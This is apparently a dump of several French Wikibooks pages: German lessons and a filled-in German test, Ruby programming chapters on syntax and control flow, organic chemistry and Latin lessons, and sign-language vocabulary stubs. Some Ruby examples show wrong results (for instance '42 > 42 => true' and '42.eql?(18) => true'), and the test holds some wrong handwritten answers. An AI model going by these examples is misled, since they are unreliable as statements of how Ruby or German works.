point remplaçant le ''-sten''. L'heure s'exprime avec '''um'''. ''Exemple'' : Um 13 Uhr sind wir spazieren gegangen. == Conjugaison == === Présent des verbes forts === Le présent des ferbes forts est identique à celui des verbes faibles sauf à la deuxième et troisième personne du singulier ou le radical peut être différent de celui de l'infinitif. Les verbes forts en '''a''' prennent un "; les verbes forts en '''e''' prennent '''ie''' ou '''i'''. <table border="1" cellspacing="0" style="background-color: #FFFF66"> <tr align="center"><td colspan=2>fahren (aller en voiture, conduire)</td><td colspan=2>fangen (attraper)</td><<td colspan=2>geben (donner)</td><td colspan=2>sehen (voir)</td></tr> <tr align="center"><td>ich fahre</td><td>wir fahren</td><td>ich fange</td><td>wir fangen</td><td>ich gebe</td><td>wir geben</td><td>ich sehe</td><td>wir sehen</td></tr> <tr align="center"><td>du f'''ä'''hrst</td><td>ihr fahrt</td><td>du f'''ä'''ngst</td><td>ihr fangt</td><td>du g'''i'''bst</td><td>ihr gebt</td><td>du s'''ie'''hst</td><td>ihr seht</td></tr> <tr align="center"><td>er, sie, es f'''ä'''hrt</td><td>sie, Sie fahren</td><td>er, sie, es f'''ä'''ngt</td><td> sie, Sie fangen</td><td>er, sie, es g'''i'''bt</td><td>sie/Sie geben</td><td>er, sie, es s'''ie'''ht</td><td>sie, Sie sehen</td></tr> </table> A la deuxième et la troisième personne du singulier, on intercale un -e- entre le radical et les désinences du présent lorsque le radical se termine par un d ou un t.Exemple : du find'''e'''st : tu penses. === Autres verbes === * Les verbes heißen (s'appeller), finden (trouver), kommen (venir) sont des verbes forts. Leur présent est régulier cependant leur prétérit est irréguliers (modification du radical). == Vocabulaire == === Les jours === <table cellspacing="0" style="background-color: #99FF99" border=1> <tr> <td>le jour</td> <td>''der Tag''</td><td>lundi</td><td>Montag</td> </tr> <tr> <td>aujourd'hui</td> <td>''heute''</td><td>mardi</td><td>Dienstag</td> </tr> <tr> <td>demain</td> <td>''morgen''</td><td>mercredi</td><td>Mittwoch</td> </tr> <tr> <td>après demain</td> <td>''übermorgen''</td><td>jeudi</td><td>Donnerstag</td> </tr> <tr> <td>hier</td> <td>''gestern''</td><td>vendredi</td><td>Freitag</td> </tr> <tr> <td>avant-hier</td> <td>''vorgestern''</td><td>samedi</td><td>Samstag</td> </tr> <tr> <td>le matin</td> <td>''Morgen*''</td><td>dimanche</td><td>Sonntag</td> </tr> <tr> <td>après-midi</td> <td>''Nachmittag</td> </tr> <tr> <td>soir</td> <td>''Abend''</td> </tr> <tr> <td>nuit</td> <td>''Nacht''</td> </tr> </table> === Les mois === <table cellspacing="0" style="background-color: #99FF99" border=1> <tr> <td>janvier</td> <td>Januar</td><td>juillet</td> <td>''Juli''</td> </tr> <tr> <td>février</td> <td>Februar</td><td>août</td> <td>''August''</td> </tr> <tr> <td>mars</td> <td>''M&auml;rz''</td><td>septembre</td> <td>''September''</td> </tr> <tr> <td>avril</td> <td>''April''</td><td>octobre</td> <td>''Oktober''</td> </tr> <tr> <td>mai</td> <td>''Mai''</td><td>novembre</td> <td>''November''</td> </tr> <tr> <td>juin</td> <td>''Juni''</td><td>décembre</td> <td>''Dezember''</td> </tr> </table> === Les personnes === <table cellspacing="0" style="background-color: #99FF99" border=1> <tr><td>singulier</td><td>pluriel</td><td>français</td></tr> <tr><td>der Mann</td><td>die Männer</td><td>l'homme</td></tr> <tr><td>die Frau</td><td>die Frauen</td><td>la femme</td></tr> <tr><td>das Kind</td><td>die Kinder</td><td>l'enfant</td></tr> <tr><td>das Mädchen</td><td>die Mädchen</td><td>la fille</td></tr> <tr><td>der Junge</td> <td>die Jungen</td> <td>le garçon</td></tr> </table> == Phrases usuelles == Was haben Sie gesagt? '' Qu'avez-vous dit ?''<br />Können Sie das bitte wiederholen? ''Pourriez-vous répéter ?''<br />Ich verstehe Sie nicht. ''Je ne vous comprends pas.'' == Application == [[Allemand_Niveau_1_Leçon_3_Test|Test leçon 3]] <br /> ---- Liens vers : [[Enseignement de l'allemand : Niveau 1|Niveau 1]] / [[Allemand Niveau 1 Leçon 4|Leçon 4]] ---- Programmation Ruby Syntaxe 2393 42919 2006-05-21T06:02:03Z 81.240.112.192 /* Parenthésage */ [[Programmation Ruby|<< Retour au sommaire]] = Syntaxe du langage = La syntaxe de ruby est à la fois simple, car elle permet de lire simplement le code source, et complexe, car à la manière du perl il y a plusieurs manières d'écrire une même instruction. == Nomenclatures == Notons que par nomenclature les méthodes terminant par un point d'exclamation ''!'' sont non pures : elles modifient l'objet. Les méthodes terminant par un point d'intérogation ''?'' renvoient un ''booléen'' (''vrai'' ou ''faux'') == Identifiants == Tout nom (que cela soit pour les variables, méthodes, classes...) doit respecter une certaine nomenclature : tout identifiant doit commencer soit par une lettre, soit par un souligné (_), et bien sur ne doit pas être un des [[Programmation Ruby Mots Réservés|mots réservés]] du langage. Exemples : MaVariables => Ok _maVariable => Ok 3Variables => Erreur == Commentaires == En Ruby, les commentaires commencent par le signe "''#''" Exemple : #Ceci est un commentaire Un commentaire peut être également en fin de ligne : puts "toto" #Ce commentaire suit une instruction = Typage de canard = Ruby est un langage typé dynamiquement, ce qui signifie qu'il n'est pas nécessaire de lui indiquer le type d'une variable, contrairement à, par exemple, java ou C. Néanmoins, Ruby utilise un mécanisme nommé le typage de canard : si un objet a des plumes et fait "coincoin" alors il s'agit d'un canard, ou en tout cas il peut être utilisé comme un canard. Imaginons une méthode telle que : def fct(param) param << "toto" end On peut dans ce cas donner comme paramètre à la méthode ''fct'' tout objet qui répond à la méthode ''<<'', par exemple un fichier, un tableau, une chaîne de caractères... c'est notamment pour cela qu'il est important de respecter la nomenclature du langage. = Portée et syntaxe des variables = La portée des différentes variables est définie par leur syntaxe : == Variable locale == Une variable locale doit être nommée avec pour premier caractère soit en minuscule, soit un underscore. exemple : maVariable _variable i4 La portée d'une variable locale est le bloc courant, sauf si elle est définie en dehors du bloc : variable = "En dehors du bloc" puts variable => En dehors du bloc begin variable = "Dans le bloc" puts variable => Dans le bloc end puts variable => Dans le bloc == Variable globale == Une variable globale doit être préfixée avec dollar (''$'') comme premier caractère : exemple: $maVariableGlobale $VARIABLE $_VAR Comme son nom l'indique, une variable globale est accessible dans tout le programme : $maGlobale = 3 puts maGlobale => 3 class A $maGlobale = 8 def initialize puts $maGlobale end end A.new => 8 puts $maGlobale => 8 == Variable d'instance == Une variable d'instance est une variable qui n'est accessible qu'après l'instanciation d'un objet. La variable sera alors accessible en utilisant cette syntaxe : <''Nom de l'instance''>.<''Nom de la variable''>. Son nom doit être préfixé avec le caractère arobase (''@'') Exemple : class A attr_reader :variableInstance def initialize @variableInstance = 42 end def to_s return @variableInstance.to_s #Correspond a self.variableInstance.to_s end end puts variableInstance => Erreur puts A::variableInstance => Erreur test=A.new puts test.variableInstance => 42 puts variableInstance.to_s => 42 == Variable de classe == Une variable de classe est commune à toutes les instances d'une même classe. Son nom est préfixé par deux arobases (''@@''). Exemple : class A @@variabeDeClasse = 0 def initialize @@variableDeClasse += 1 @variableDeClasse = 5 #Ceci n'est pas une variable de classe, c'est juste pour l'éxemple end def nombreInstance return @@variableDeClasse end def variableDeClasse return @variableDeClasse end end test1 = A.new puts test1.nombreInstance => 1 puts test1.variableDeClasse => 5 test2 = A.new puts test1.nombreInstance => 2 puts test1.variableDeClasse => 5 == Constante == Une constante définit un élément qui ne pourra jamais changer au cours de l'éxécution du programme. Celle-ci doit obligatoirement être définie lors de sa déclaration. Une constante se nomme uniquement avec des caractères majuscules : MACONSTANTE = 42 puts MACONSTANTE => 42 MACONSTANTE = 18 => Erreur == Référence == Une référence correspond à l'adresse d'une variable, "comparable" aux pointeurs en ''C'' ou encore aux références en ''C++''. La portée d'une référence est identique à celle d'une variable locale. Elles peuvent réferencer tout types de données (variable, méthode, expression...). Les références sont préfixés avec le caractère deux points ('':'') class A attr_reader :variable #attr_reader utilise des références def initialize @variable = 18 end end A.new A.variable => 18 Ici ''attr_reader'' (qui permet de créer une méthode d'accès pour chaque variable dont la référence est donnée) prend des références comme paramètre. Les références de même nom sont '''UNIQUE''' en mémoire, et ne sont initialisées qu'une seule fois : ma_table_de_hash1 = { "langage" => "ruby"} ma_table_de_hash2 = { "langage" => "un autre langage"} ma_table_de_hash1["langage"] => ''ruby'' ma_table_de_hash2["langage"] => ''un autre langage'' ma_table_de_hash1["langage"].object_id => ''23530'' ma_table_de_hash2["langage"].object_id => ''23560'' On voit ici clairement que chaque clée du tableau assossiatif est une chaîne de caractères unique (''object_id'' différent). Le désavantage de cette méthode est qu'il est couteu en temps et en mémoire. Nous allons donc pour économiser quelques ressources utiliser des symboles: ma_table_de_hash1 = { :langage => "ruby"} ma_table_de_hash2 = { :langage => "un autre langage"} ma_table_de_hash1[:langage] => ''ruby'' ma_table_de_hash2[:langage] => ''un autre langage'' ma_table_de_hash1[:langage].object_id => ''24260'' ma_table_de_hash2[:langage].object_id => ''24260'' On voit ici clairement que les références correspondent au même objet (même ''object_id''). De même nous pouvons utiliser les références pour avoir des paramètres nommés : def fonction_test param #param est en réalité un tableau assossiatif puts param[:text] puts param[:var] end fonction_test :var => "world", :text => "Hello" => Hello world ''NB: Les prochaines versions de ruby auront un système plus propre pour uriliser les paramètres nommés'' Il est toujours intéressant d'utiliser les symboles lorsque vous avez besoin d'un simple identifiant. = Expressions = En ruby une expression correspond à tout ce que peut renvoyer un objet, soit à peu près tout : 42 => 42 2 + 2 => 4 == Parenthésage == Le parenthésage permet de spécifier des priorités lors de l'interprétation. Comme pour une formule mathématique, les expressions entre parenthèses sont évaluées en premier : 3*2+4 => 10 3*(2+4) => 18 # Ruby évalue d'abord l'expression entre parenthèses 3*(2*(2+4)) => 36 # On peut incrémenter le niveau de parenthésage == Assignation == L'assignation d'un objet à une variable se fait avec le charactère égal (''=''). La variable doit être l'élément de gauche, l'objet ou l'expression doit se trouver à droite : a = 42 #assigne un objet de type Fixnum et ayant pour valeur 42 à a a = 40 + 2 #idem De même grace à l'objet ''Proc'' il est possible d'affecter à une variable un bloc de code : a = Proc.new do |value| 2+value end a.call(40) => 42 Nous étudierons par la suite plus en détail l'objet ''Proc''. == Assignations parrallèles == Ruby permet d'assigner plusieurs variables à la fois, en séparant celles-ci par une virgule ('',''). Par exemple pour intervertir deux variables : a = 8 b = "test" a, b = b, a a => "test" b => 8 De même nous pouvons affecter les valeurs d'un tableau à plusieurs variables (nous verrons l'utilisation des tableaux plus tard). a = [1, "test", 42] a => [1, "test", 42] a,b = [1, "test", 42] a => 1 b => "test" a,b,c,d = [1, "test", 42] a => 1 b => "test" c => 42 d => nil Chimie organique 2396 42713 2006-05-18T06:20:57Z 86.71.86.116 /* Les méthodes analytiques */ {{ébauche}} [[Catégorie:Chimie]] === Les groupes fonctionnels === #[[Chimie_organique Hydrocarbures|Hydrocarbures]] : ##[[Chimie organique:Alcanes et cycloalcanes|Alcanes et cycloalcanes]] [[image:25%.png]] ##[[Chimie organique:Alcènes|Alcènes]] [[image:25%.png]] ##[[Chimie organique:Alcynes|Alcynes]] #[[Alcools]] [[image:25%.png]] #[[Chimie organique:Cétones et aldéhydes|Cétones et aldéhydes]] #[[Chimie organique:Acides carboxyliques|Acides carboxyliques]] #[[Chimie organique:Amines|Amines]] [[image:25%.png]] #[[Chimie organique:Ethers|Ethers]] === Les méthodes analytiques === #[[Spectroscopie infrarouge (IR)]] #[[Résonance magnétique nucléaire (RMN)]] #[[Spectrométrie de masse]] #[[Chromatographie (CPG, HPLC)]] Alcools 2397 13995 2005-06-23T15:43:33Z BZiL 369 /* Acidité */ __NOTOC__ #[[Chimie organique (alcools_introduction)|Introduction]] == Propriétés des alcools== === Acidité === Les alcools constituent des acides faibles par libération d'un proton H+ du groupe hydroxyle. Ils sont plus faibles que l'eau à l'exception du méthanol et ne manifestent leur caractère acide que dans des solutions non aqueuses, en réagissant par exemple avec la base NaNH2 dans une solution d'ammoniac. === Oxydation d'un alcool === L'oxydation (perte d'électrons) d'un alcool donne une autre fonction.<br />L'oxydation ménagée d'un alcool primaire donne un aldéhyde qui peut lui même s'oxyder en acide carboxylique si l'oxydant est trop fort.<br />L'oxydation ménagée d'un alcool secondaire donne une cétone.<br />Les alcools terciaire ne peuvent subir d'oxydation ménagée. === Réaction d'élimination === Lors d'une réaction d'élimination, une molécule expulse une petite molécule (HCl; H<sub>2</sub>O ...). Lorsqu'un alcool subit une réaction d'élimination il expulse une molécule d'eau (déshydratation) et donne un alcène.<br />Exemple : CH<sub>3</sub>-CH<sub>2</sub>(OH) -> CH<sub>2</sub>=CH<sub>2</sub> + H<sub>2</sub>0<br />Un alcool tertiaire se déshydrate plus facilement qu'un alcool primaire. === Réaction de substitution === Retour [[Chimie Organique]] Programmation Ruby Contrôle 2398 46335 2006-06-28T13:18:59Z 199.243.88.178 /* != */ [[Programmation Ruby|<< Retour au sommaire]] == Expressions booléennes == Une expression booléenne est toute expression qui renvoi après évaluation vrai ou faux. vrai peut être de type booléen (''true'' ou ''false''), mais en pratique les conditions peuvent également utiliser une valeur entière (''0'' pour faux, ''1'' pour vrai), ou tout simplement non nul (''nil'' pour faux, une autre valeur pour vrai). Ruby se veut objet, et de ce fait les opérateurs décrit ci-dessous, sont en réalités des méthodes d'instance. Cela signifie que le développeur devra implémenter lui même ces méthodes. Néanmoins certaines d'entre elle sont définies dans ''Object'' qui est parente de toutes les autres classes, ou encore dans un module. Nous reviendrons sur ces concepts dans le chapitre traitant de la programmation objet. Les exemples ici utilisent des objets "standards" pour un souci de clarté, ils peuvent être remplacés par des expressions placés entre parenthèses. Ainsi : 42 == 42 => true équivaut à (40 + 2) == (21 * 2) => true === defined? === ''defined?'' permet de vérifier l'éxistence d'une variable, l'opérateur renvoi ''nil'' si la variable n'existe pas, sinon renvoi une déscription : defined? 42 => "expression" defined? toto => nil defined? 42.times => "method" defined? $_ => "global-variable" ... === eql? === ''eql?'' teste si deux variables sont du même type, renvoi ''true'' si c'est le cas, sinon ''false''. 42.eql?(18) => true 42.eql?(42.0) => false #En effet 42 est un entier, 42.0 un flotant === equal? === ''equal?'' renvoi ''true'' si les deux objets comparés sont en réalité un même objet (même id), sinon renvoi ''false''. a = "mon objet" b = a 42.equal?(42) => false a.equal?(a) => true a.equal?(b) => true === == === ''=='' permet de tester l'égalité entre les valeurs de deux éléments : 42 == 42 => true 42 == 23 => false 42 == "42" => false === != === ''!='' permet de tester l'inégalité entre les valeurs de deux éléments : 42 != 42 => false 42 != 23 => true 42 != "42" => true === <=> === ''<=>'' sert à comparer deux variables, cette méthode n'est pas à proprement parlé un opérateur booléen. En effet celle-ci renvoi ''-1'', ''0'' ou ''1'' si, le premier élément est respectivement inférieur, égal ou supérieur au second. Renvoie ''nil'' si les types sont différents. 2 <=> 2 => 0 2 <=> 3 => -1 42 <=> 18 => 1 42 <=> "42" => nil 42 <=> 42.0 => 0 #en effet, contrairement à eql?, c'est ici la valeur qui est comparé === < et <= === ''<'' et ''<='' correspondent respectivement à "inférieur" et "inférieur ou égal à" : 42 < 43 => true 42 < 42 => false 42 <= 42 => true "abcdef" < "abzd" => true #la comparaison entre chaines de caractères se fait lettre à lettre "abzd" < "abcdef" => false === > et >= === ''>'' et ''>='' correspondent respectivement à "supérieur à" et "supérieur ou égal à" : 42 > 43 => false 42 > 42 => true 42 >= 42 => true "abcdef" > "abzd" => false #la comparaison entre chaines de caractères se fait lettre à lettre "abzd" > "abcdef" => true === not et ! === ''not'' et ''!'' exprime la négation, l'opérarateur "inverse" l'élément placé juste après ainsi : not true => false (!false) => true de même on peut exprimer la négation sur une expression si celle-ci se trouve entre paranthèses : (!(2 < 10)) => false not (2 < 10) => false === and et && === ''and'' et ''&&'' correspondent au "et logique" : true and false => false true and true => true Dans un souci d'optimisation, ruby teste la première expression, et si celle-ci est fausse, il teste ensuite la seconde === or et || === ''or'' et ''||'' correspondent au "ou logique" true or false => true true or true => true false or false => false == Les expressions conditionnelles == Une expression conditionnelle sert à réagir en fonction d'un élement donné. === Expression IF...THEN...ELSE === <tt> SI <EXPRESSION CONDITIONNELLE> ALORS <BR/> &nbsp;&nbsp;EXPRESSION1<BR/> [SINON<BR/> &nbsp;&nbsp;EXPRESSION2<BR/> ]<BR/> FIN SI </tt> ce qui se traduit en ruby par <tt> if <EXPRESSION CONDITIONNELLE> [then]<BR/> &nbsp;&nbsp;EXPRESSION1<BR/> [else<BR/> &nbsp;&nbsp;EXPRESSION2<BR/> ]<BR/> end </tt> La condition peut être une expression, à condition que celle-ci soit une expression booléenne (vrai ou faux), ou une valeur numérique (0 ayant valeur de faux). donc : if (1) équivaut à if (true) qui équivaut à if (2 + 2 == 4) de même : if (0) équivaut à if (false) qui équivaut à if (2 + 2 == 5) Une expression conditionnelle peut être l'élément ouvrant d'un bloc, ou succéder à une expression si celle-ci tient sur une ligne, dans ce denier cas on ne peut utiliser ''else'' : if true puts "true" end => "true" équivaut à puts "true" if true => "true" Le pendant de ''if'' est ''unless'' (sauf si) et suit les mêmes règles : puts "false" unless true => "false" À noter que pour faciliter la lecture, ruby permet à l'expression servant au test à être suivi par le mot clef ''then'' : if (true) then === Expression CASE...WHEN === <tt> SI <EXPRESSION CONDITIONNELLE><BR/> &nbsp;&nbsp;VAUT EXPRESSION 1 ALORS EXPRESSION RESULTANTE 1<BR/> &nbsp;&nbsp;VAUT EXPRESSION 2 ALORS EXPRESSION RESULTANTE 2<BR/> &nbsp;&nbsp;...<BR/> &nbsp;&nbsp;VAUT EXPRESSION N ALORS EXPRESSION RESULTANTE N<BR/> SINON EXPRESSION RESULTANTE FIN SI </tt> ce qui se traduit en ruby par : <tt> case <EXPRESSION CONDITIONNELLE><BR/> &nbsp;&nbsp;when EXPRESSION 1 then EXPRESSION RESULTANTE 1<BR/> [&nbsp;&nbsp;when EXPRESSION 2 then EXPRESSION RESULTANTE 2<BR/> &nbsp;&nbsp;...<BR/> &nbsp;&nbsp;when EXPRESSION N then EXPRESSION RESULTANTE N<BR/> else EXPRESSION RESULTANTE] end </tt> ''case'' va comparer l'expression le suivant avec les expressions passés après les mots-clefs ''when'', si l'une d'elle correspond, case appelera l'expression suivant le ''then'', sinon il évaluera l'expression suivant le ''else'' : chaine = "ça va" case chaine when "bonjour" then "bonjour" when "ça va ?" then "oui merci" else "au revoir" end => "oui merci" À noter que l'expression suivant le ''case'' est facultative : age = 40 case when ((age > 60) and (age < 100)) then "Vous êtes agé" when ((age <= 60) and (age > 15)) then "Vous êtes dans la fleur de l'age" when age <= 15 then "Vous êtes jeune" else "Matusalem" end => "Vous êtes dans la fleur de l'age" Si ''age'' avait été supérieur à 100, c'est la condition ''else'' qui aurait été prise en compte. À noter que ''then'' peut être remplacé par la caractère deux points ('':''), on peut également mettre la clause ''when'' sur deux lignes : case when ((age > 60) and (age < 100)) "Vous êtes agé" ... end == Les boucles et les itérateurs== Les boucles et itérateurs permetent de parcourir une liste d'éléments, ou d'effectuer une action tant qu'une condition est respectée. === While/Until=== <tt> TANT QUE <EXPRESSION CONDITIONNELLE> FAIRE <BR/> &nbsp;&nbsp;EXPRESSION1<BR/> FIN TANT QUE </tt> ce qui se traduit en ruby par <tt> while <EXPRESSION CONDITIONNELLE> <BR/> &nbsp;&nbsp;EXPRESSION1<BR/> end </tt> Par exemple : i = 0 while (i < 5) puts i i = i + 1 end => 0 1 2 3 4 Dans cet éxemple l'expression conditionelle est au moin évaluée une fois avant l'évaluation du corps de la boucle, donc si i avait été égal à 6, le contenu de la boucle n'aurait jamais été évalué. Néanmoins nous pouvons utiliser une autre construction commençant par un bloc et suivit de ''while'', dans ce cas là le corps de la boucle est évalué au moin une fois : i = 12 begin puts i i = i + 1 end while (i < 5) => 12 La négation de while est until, que l'on pourrait traduire par "sauf si" : i = 0 until (i > 5) puts i i = i + 1 end => 0 1 2 3 4 5 === loop === ''loop'' ressemble à la structure while, mais ne prend pas d'éxpression conditionelle. En fait ''loop'' correspond à while(true) Le seul moyen de quitter la boucle est d'utilisé l'instruction break : i = 0 loop do puts i i = i + 1 break if i >= 5 end => 0 1 2 3 4 === For in=== La boucle ''for'' permet d'itérer à travers un ensemble : for i in 5..8 puts i end => 5 6 7 8 Nous verrons les intervalles (de forme x..y) dans le chapitre suivant, pour l'heure il suffit de savoir qu'elles représentent tout les éléments compris entre x et y Ceci est une manière d'itérer, néanmoins nous verrons dans les chapitres suivant qu'en ruby il vaut mieu itérer en utilisant les méthodes adaptées. Ainsi le même éxemple aurait pu s'écrire : (5..8).each do |i| puts i end === Break === Nous avons déjà vu ''break'' qui permet d'interrompre l'éxécution d'une boucle : i = 0 while (true) break if i > 2 puts i i = i+1 end => 0 1 2 3 === Redo === ''redo'' va réevaluer le corps de la boucle, mais sans retester la condition, et sans utiliser l'élément suivant (dans un itérateur) === Next === ''next'' va aller à la fin de la boucle, puis recommecer l'itération avec l'élément suivant dans le cas d'un itérateur : i=0 loop do i += 1 next if i < 3 puts i break if i > 4 end => 3 4 5 === Retry === ''retry'' recommence l'itération à son début, dans son état premier : for i in 1..5 puts i retry if i == 2 end => 1 2 1 2 ... on rentre ici dans une boucle infinie Cuisine:Recettes de cuisine française 2399 13997 2005-04-21T19:25:30Z Antoinel 182 == Par régions / départements == #[[Cuisine:Recettes de l'Alsace|Alsace]] #[[Cuisine:Recettes des Antilles|Antilles]] #[[Cuisine:Recettes de l'Auvergne|Auvergne]] #[[Cuisine:Recettes de la Bourgogne|Bourgogne]] #[[Cuisine:Recettes de la Bretagne|Bretagne]] #[[Cuisine:Recettes du Jura|Jura]] #[[Cuisine:Recettes de la Lorraine|Lorraine]] #[[Cuisine:Recettes de la Normandie|Normandie]] #[[Cuisine:Recettes de la Picardie|Picardie]] #[[Cuisine:Recettes du Poitou|Poitou]] #[[Cuisine:Recettes de la Provence|Provence]] #[[Cuisine:Recettes du Nord|Nord]] #[[Cuisine:Recettes de la Savoie|Savoie]] #[[Cuisine:Recettes du Sud-Ouest|Sud-Ouest]] {{Recettes par pays}} Latin/Leçon 6 2400 45922 2006-06-26T19:55:16Z Guillaumito 46 [[Latin : leçon 6]] déplacé vers [[Latin/Leçon 6]]: politique de nommage == Deuxième déclinaison == Les noms de la deuxième déclinaison ont le génitif singulier en -i et le nominatif singulier en us (pour le masculin et le féminin), ou um (neutre). <u>Noms masculins :</u> {| border="3" |+ La deuxième déclinaison : dominus, domini : le maître ! Cas ! Singulier ! Pluriel |----- | Nominatif | Domin'''us''' | Domin'''i''' |----- | Vocatif | Domin'''e''' | Domin'''i''' |----- | Accusatif | Domin'''um''' | Domin'''os''' |----- | Génitif | Domin'''i''' | Domin'''orum''' |----- | Datif | Domin'''o''' | Domin'''is''' |----- | Ablatif | Domin'''o''' | Domin'''is''' |} == Syntaxe == *Le locatif == Vocabulaire == {{Latin}} Programmation Ruby variables globales prédéfinies 2401 37010 2006-03-10T17:17:09Z 213.41.87.89 /* Constantes globales */ [[Programmation Ruby|<< Retour au sommaire]] == Variables globales == {|border="1" | '''Nom''' || '''Type''' || '''Description''' |- | __FILE__ || ''String'' || Représente le fichier courant |- | __LINE__ || ''Fixnum'' || Représente la ligne courante |- | $! || ''Object'' || ''description'' |- | $' || ''Object'' ||''description'' |- | $" || ''Object'' ||''description'' |- | $$ || ''Object'' ||''description'' |- | $& || ''Object'' ||''description'' |- | $* || ''Object'' ||''description'' |- | $+ || ''Object'' ||''description'' |- | $, || ''Object'' ||''description'' |- | $-0 || ''Object'' ||''description'' |- | $-F || ''Object'' ||''description'' |- | $-I || ''Object'' ||''description'' |- | $-K || ''Object'' ||''description'' |- | $-a || ''Object'' ||''description'' |- | $-d || ''Object'' ||''description'' |- | $-i || ''Object'' ||''description'' |- | $-l || ''Object'' ||''description'' |- | $-p || ''Object'' ||''description'' |- | $-v || ''Object'' ||''description'' |- | $-w || ''Object'' ||''description'' |- | $. || ''Object'' ||''description'' |- | $/ || ''Object'' ||''description'' |- | $: || ''Object'' ||''description'' |- | $; || ''Object'' ||''description'' |- | $< || ''Object'' ||''description'' |- | $= || ''Object'' ||''description'' |- | $> || ''Object'' ||''description'' |- | $? || ''Object'' ||''description'' |- | $@ || ''Object'' ||''description'' |- | $\ || ''Object'' ||''description'' |- | $_ || ''Object'' ||''description'' |- | $` || ''Object'' ||''description'' |- | $~ || ''Object'' ||''description'' |- | $1 à $9 || ''Object'' ||''description'' |- | $0 || ''Object'' ||''description'' |- | $configure_args || ''Object'' ||''description'' |- | $DEBUG || ''Object'' ||''description'' |- | $deferr || ''Object'' ||''description'' |- | $defout || ''Object'' ||''description'' |- | $expect_verbose || ''Object'' ||''description'' |- | $F || ''Object'' ||''description'' |- | $FILENAME || ''Object'' ||''description'' |- | $KCODE || ''Object'' ||''description'' |- | $LOAD_PATH || ''Object'' ||''description'' |- | $SAFE || ''Fixnum'' || Niveau de sécurité |- | $stderr || ''IO'' || Représente la sortie d'erreur standard |- | $stdin || ''IO'' || Représente l'entrée standard |- | $stdout || ''IO'' || Représente la sortie standard |- | $VERBOSE || ''Object'' ||''description'' |} == Constantes globales == {|border="1" | '''Nom''' || '''Type''' || '''Description''' |- | DATA || ''Object'' || ''description'' |- | FALSE || ''FalseClass'' || faux |- | NIL || ''NilClass'' || correspond à num |- | RUBY_PLATFORM || ''String'' || Indique la palteforme courante |- | RUBY_RELEASE_DATE || ''String'' || Date de la distribution de la versio,n courante |- | RUBY_VERSION || ''String'' || Le numéro de version |- | STDERR || ''IO'' || La sortie d'erreur standard |- | STDIN || ''IO'' || L'entrée standard |- | STDOUT || ''IO'' || La sortie standard |- | SCRIPT_LINES__ || ''Object'' ||''description'' |- | TOPLEVEL_BINDING || ''Object'' ||''description'' |- | TRUE || ''TrueClass'' || vrai |} Programmation Ruby Controle 2406 14001 2005-02-01T09:30:35Z Guillaumito 46 Programmation Ruby Controle déplacé vers Programmation Ruby Contrôle #REDIRECT [[Programmation Ruby Contrôle]] LSF/Vocab/affreux 2407 14002 2005-02-02T07:59:19Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab affreux.ogg|thumb=LSF VocabThumb affreux.jpeg|français=affreux,moche|mimeo=|mot=affreux|config=}} == Voir aussi == [[Category:LSF/Vocabulaire/Pas trié|affreux]] [[Category:LSF/Vocabulaire fr à lsf|affreux]] LSF/Vocab/education 2408 14003 2005-02-01T16:09:58Z Kowey 113 {{LSF vocabulaire|vid=LSF Vocab education.ogg|thumb=LSF VocabThumb education.jpeg|français=education|mimeo=|mot=education|config=clef}} == Voir aussi == [[Category:LSF/Vocabulaire/Pas trié|education]] [[Category:LSF/Vocabulaire fr à lsf|education]] Test Allemand Niveau 1 Leçon 1 2409 40929 2006-04-25T17:58:40Z 84.102.105.99 /* Vocabulaire /4 */ __NOTOC__ == Conjugaison /5 == Conjuguer les verbes suivants à la personne indiquée entre parenthèses (n'oubliez pas les pronoms personnels) : #heißen (1ère persone du singulier)ich heisse #sein (2ème personne du singulier)du bist #haben (3ème personne du singulier)er hat #sein (2ème personne du pluriel)wir haben #heißen (3ème personne du singulier)er heisst == Vocabulaire /4 == Tradui == Traduction /4 ( -1 par erreur )== Traduisez les phrases suivantes : #Ich heiße Franz. ______je m'appelle francois_________________________ #Wie heißen Sie ? ______comment vous appelez-vous _________________________ #Ich bin müde. Und du, wie geht's dir ? _je suis fatigué et toi comment vas tu ?_________________________ #Mir geht's sehr gut. ____________moi ca va bien____________ == Dialogue /5 == Complétez le dialogue suivant :<br /> - Hallo !<br /> - Guten .tag.. ! .wie.. geht's ?<br /> - Ich .bin.. froh. Und du ?<br /> - Ich bin .nicht froh.. (triste). Auf .widersehen.. .<br /> - ... (salut).<br /> == Sein et haben /2 == Conjuguez les phrases suivantes avec le verbe sein ou haben : # Lena _hat___ zwei Brüder. # __bist___ du krank ? # Ihr ___habt__ vierzehn Jahre alt. # __hast___ du einen Hund (chien) ? == Réponses == === Conjugaison === # Ich heiße. # Du bist. # Er, sie hat. # Ihr seid. # Er, sie heißt. === Vocabulaire === # Zwei. # Fünf. # Neun. # Sieben. === Traduction === # Je m'appelle Franz. # Comment vous appellez-vous ? # Je suis fatigué. Et toi, comment vas-tu ? # Je vais très bien. === Dialogue === - Hallo !<br /> - Guten Tag ! Wie geht's ?<br /> - Ich bin froh. Und du ?<br /> - Ich bin traurig. Auf Wiedersehen.<br /> - Tschüss .<br /> === Sein et haben === # hat # Bist # seid # Hast <br />Retour [[Allemand Niveau 1 Leçon 1|Leçon 1]] Chimie organique:Alcanes et cycloalcanes 2410 14005 2005-06-24T19:11:35Z 82.252.86.152 #[[Chimie organique Alcanes Cycloalcanes Introduction|Introduction]] #[[Chimie organique_Méthane|Méthane]] #[[Chimie organique_Cycloalcanes|Cycloalcanes]] Retour : [[Chimie organique]] Chimie organique Méthane 2411 14006 2005-02-08T09:09:07Z Antoinel 182 Le méthane est l'alcane le plus simple.<br />Sa formule brute est CH<sub>4</sub>. Aux conditions de température et de pression standard il se trouve à l'état de gaz.<br /> Sa formule développée est : [[Image:Methane.gif]] == Formation == Le méthane est le composant principal du gaz naturel. C'est le principal constituant du biogaz issu de la fermentation de matières organiques animales ou végétales en l'absence d'oxygène. Il est fabriqué par des bactéries méthanogènes qui vivent dans des milieux anaérobie c'est-à-dire sans oxygène. Le méthane se dégage naturellement des zones humides peu oxygénées comme les marais et les terres inondées. Il se forme aussi dans l'estomac des mammifères. C'est d'ailleurs le gaz principal des flatulences. Des quantités importantes de méthane sont piégées sous forme d'hydrates de méthane au fond des océans. Mais attention le carbone de ce méthane fossile n'est plus (du fait de la désintégration isotopique survenue sur des dizaines de milliers d'années), le plus souvent, du C14- carbone 14 mais son isotope: le C12- carbone 12. En cas de réchaufement climatique important, ce C12, pourrait être largement relargué, ce qui ne serait pas sans poser de nombreux problèmes écologiques supplémentaires. De plus il en irait de même du Co2 "fossile" piégé en encore plus 